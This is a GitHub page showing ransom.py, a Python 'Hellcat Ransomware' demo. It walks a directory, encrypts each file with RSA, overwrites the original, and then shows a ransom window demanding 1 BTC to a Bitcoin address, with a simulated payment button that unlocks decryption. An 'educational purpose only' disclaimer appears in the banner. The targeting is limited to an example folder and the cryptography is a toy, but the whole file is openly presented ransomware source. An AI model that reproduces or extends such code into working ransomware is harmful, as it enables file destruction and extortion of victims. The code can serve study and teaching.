-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathransom.py
220 lines (171 loc) · 8.1 KB
/
ransom.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from colorama import Fore, Style
import os, sys
import tkinter as tk
# ------------------------------------------------ #
# Authors: @Kenoor & @Valmar
# Github : https://github.com/Hellcat-IV/Ransomware
# ------------------------------------------------ #
dir = os.path.dirname(os.path.realpath(__file__)) # get current directory
def print_banner():
banner = """ __ __ ____ __ ____
/ / / /__ / / /________ _/ /_ / __ \____ _____ _________ ____ ___
/ /_/ / _ \/ / / ___/ __ `/ __/ / /_/ / __ `/ __ \/ ___/ __ \/ __ `__ \\
/ __ / __/ / / /__/ /_/ / /_ / _, _/ /_/ / / / (__ ) /_/ / / / / / /
/_/ /_/\___/_/_/\___/\__,_/\__/ /_/ |_|\__,_/_/ /_/____/\____/_/ /_/ /_/ """
info = """
[+] Authors: @Kenoor & @Valmar
[+] Github : https://github.com/Hellcat-IV/Ransomware """
diclaimer = """
[!] - This ransomware is for educational purpose only.
[!] - We are not responsible for any damage caused by this ransomware. """
log = """\n [x] -------------------------------------- [x]\n"""
print(Fore.GREEN + Style.BRIGHT + banner)
print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + info)
print(Fore.RED + Style.BRIGHT + diclaimer)
print(Fore.LIGHTCYAN_EX + Style.BRIGHT + log)
def gen_key():
try:
privkey = open(f"{dir}/private.key","rb").read() # check if private key exist
pubkey = open(f"{dir}/public.key","rb").read() # check if public key exist
return privkey, pubkey
except:
print(Fore.RED + Style.BRIGHT + " [!] - No key found")
pass
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) # generate private key
print(Fore.GREEN + Style.BRIGHT + " [+] - Private key generated")
with open(f"{dir}/private.key","wb") as f: # write private key to file
k = priv.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword')
)
privkey = k
f.write(k)
print(Fore.GREEN + Style.BRIGHT + " [+] - Private key saved in private.key")
with open(f"{dir}/public.key","wb") as f: # write public key to file
k = priv.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.PKCS1,
)
pubkey = k
f.write(k)
print(Fore.GREEN + Style.BRIGHT + " [+] - Public key saved in public.key")
return privkey, pubkey
def encrypt(filename, public_key):
public_key = serialization.load_pem_public_key(public_key)
with open(f"{dir}/{filename}", "rb") as f: # read file to encrypt
encrypted = public_key.encrypt(
f.read(),
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
) # encrypt file (OAEP padding scheme with SHA256 hash algorithm and no label)
with open(f"{dir}/{filename}", "wb") as f: # write encrypted file to disk
f.write(encrypted)
def decrypt(filename, private_key):
with open(f"{dir}/{filename}", "rb") as f: # read file to decrypt
private_key = serialization.load_pem_private_key(
private_key,
password=b'mypassword', # password used to encrypt private key
)
decrypted = private_key.decrypt(
f.read(),
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
) # decrypt file (OAEP padding scheme with SHA256 hash algorithm and no label)
with open(f"{dir}/{filename}", "wb") as f: # write decrypted file to disk
f.write(decrypted)
# ------------------------------------------------ #
def clear():
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
def get_tree_file():
files = []
for path, _, file_names in os.walk(f"exemple_dir"):
for file_name in file_names:
file_path = os.path.join(path, file_name)
files.append(file_path)
return files
def encrypt_all():
privkey, pubkey = gen_key() # generate key pair
for file in get_tree_file(): # encrypt all files in exemple_dir
try:
encrypt(file, pubkey)
except Exception as e:
print(Fore.RED + Style.BRIGHT + " [!] - Error: {}".format(e))
def decrypt_all():
privkey, pubkey = gen_key() # generate key pair
for file in get_tree_file(): # decrypt all files in exemple_dir
try:
decrypt(file, privkey)
except Exception as e:
print(Fore.RED + Style.BRIGHT + " [!] - Error: {}".format(e))
# ------------------------------------------------ #
def main():
try:
if sys.argv[1] == "-h":
help_menu = """ Hellcat Ransomware 1.0
Usage: python3 ransom.py [option]
OPTIONS:
-h Show this help menu
-a All in one (encrypt + simulate payment + decrypt)
-en Encrypt all files in exemple_dir
-de Decrypt all files in exemple_dir
EXAMPLES:
python3 ransom.py -a"""
clear()
print(Fore.LIGHTWHITE_EX + Style.BRIGHT + help_menu)
elif sys.argv[1] == "-en":
encrypt_all()
print(Fore.LIGHTRED_EX + Style.BRIGHT + " [+] - Files encrypted")
elif sys.argv[1] == "-de":
decrypt_all()
print(Fore.GREEN + Style.BRIGHT + " [+] - Files decrypted")
elif sys.argv[1] == "-a":
encrypt_all()
print(Fore.LIGHTRED_EX + Style.BRIGHT + " [+] - Files encrypted")
root = tk.Tk()
root.title("Hellcat - Ransomware")
root.geometry("1000x400")
root.configure(bg="black")
label = tk.Label(root, text="Your files have been encrypted", font=("Arial", 20), bg="black", fg="red")
label.pack(pady=20)
btc = tk.Label(root, text="Send 1 BTC to this address: 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2", font=("Arial", 20), bg="black", fg="red")
btc.pack(pady=20)
def simulate_payment():
fake_payment.config(text="Transaction Complete !", bg="green", fg="white")
print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + " [+] - Payment simulated")
decrypt_btn.config(state="normal")
def simulate_decrypt():
decrypt_btn.config(text="Decryption Complete !", bg="green", fg="white")
print(Fore.GREEN + Style.BRIGHT + " [+] - Files decrypted")
decrypt_all()
root.after(3000, lambda: root.destroy())
def close():
root.destroy()
fake_payment = tk.Button(root, text="Simulate Payment", font=("Arial", 20), bg="black", fg="red", command=simulate_payment)
fake_payment.pack(pady=20)
decrypt_btn = tk.Button(root, text="Decrypt files", font=("Arial", 20), bg="black", fg="red", command=simulate_decrypt, state="disabled")
decrypt_btn.pack(pady=20)
close_btn = tk.Button(root, text="Close", font=("Arial", 20), bg="black", fg="red", command=close)
close_btn.pack(pady=20)
root.mainloop()
else:
print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + " [!] - Help: python3 ransom.py -h")
except Exception as e:
print(Fore.LIGHTRED_EX + Style.BRIGHT + " [!] - Error: {}".format(e))
print(Fore.LIGHTBLUE_EX + Style.BRIGHT + " [!] - Help: python3 ransom.py -h")
# ------------------------------------------------ #
if __name__ == "__main__":
clear()
print_banner()
main()